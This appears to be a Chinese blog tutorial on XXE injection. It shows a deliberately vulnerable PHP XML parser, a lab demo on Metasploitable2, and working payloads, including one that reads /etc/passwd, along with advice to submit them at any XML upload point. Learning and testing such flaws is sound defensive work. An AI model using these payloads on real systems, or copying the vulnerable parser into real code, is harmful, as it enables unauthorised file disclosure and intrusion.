XXE漏洞2-漏洞原理及检测方式(超详细)

发布于:2025-07-17 ⋅ 阅读:(15) ⋅ 点赞:(0)

一.XXE漏洞原理解释

       XXE 漏洞全称 XML External Entity Injection 即 XML 外部实体注入漏洞,XXE 漏洞发生在应

用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、

命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。Entity [ˈentəti] 实体

       有上篇文件我们构造一个xml请求:

<!DOCTYPE note [
    <!ELEMENT heading (#PCDATA)>
    <!ENTITY free SYSTEM
 "http://xxx.com">
]>
<heading>&free;</heading>

这是一个外部实体请求,free是实体。

然后当我们把这个请求发送给服务器时,服务器会怎么解析从而构成了XXE漏洞的呢?

下面是服务器的解析代码:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

代码解释(解析原理)
file_get_contents() 函数把整个文件读入一个字符串中。

php://input #是个可以访问请求的原始数据的只读流。
结合 file_get_contents(“php://input”)可以读取 POST 提交的数据。存入$xml

php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的 SimpleXMLElement
Object,就是将free转换成我们指定路径下的文件内容。

再使用 simplexml_load_string 将 note 输入 XML 数值打印出来

总结:也就是将实体解析的时候出现了漏洞。

二.漏洞原理演示:

环境:metasploitable2-linux

第一步:我们先进入/var/www,然后我们创建一个xxe.php模拟服务器检测解析过程。

输入代码:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

第二步:创建一个test.php测试页面。

<?php
$note=<<<XML
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>
然后我们浏览器打开测试页面:
可以看到我们的php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的
SimpleXMLElement Object。

三.最后一布:漏洞演示

然后我们来到xxe.php:
我们可以尝试上传恶意post请求:
<?xml version="1.0" ?>
<!DOCTYPE note [
       <!ELEMENT note (to,from,heading,body)>
       <!ELEMENT to (#PCDATA)>
       <!ELEMENT from (#PCDATA)>
       <!ELEMENT heading (#PCDATA)>
       <!ELEMENT body (#PCDATA)>
       <!ENTITY free SYSTEM "file:///etc/passwd">
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder &free;</heading>
<body>Don't forget the meeting!</body>
</note>
我们就可以看到成功读取到了etc/passwd的文件,成功执行XXE漏洞
注意:类型要选择(raw)不然传输的xml数据类型不对读取会失败。

四.漏洞检测方式。

        XXE 漏洞触发的点往往是可以上传 xml 文档的位置,没有对上传的 xml 文档进行过滤,导致
可上恶意的 xml 文档被解析执行。
       
       所以当碰见xml文件上传功能你就往里扔:
<?xml version="1.0" ?>
<!DOCTYPE note [
       <!ELEMENT note (to,from,heading,body)>
       <!ELEMENT to (#PCDATA)>
       <!ELEMENT from (#PCDATA)>
       <!ELEMENT heading (#PCDATA)>
       <!ELEMENT body (#PCDATA)>
       <!ENTITY free SYSTEM "file:///xxx.com">
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder &free;</heading>
<body>Don't forget the meeting!</body>
</note>
       能被恶意解析就是有漏洞,没有就没有。

网站公告

今日签到

点亮在社区的每一天
去签到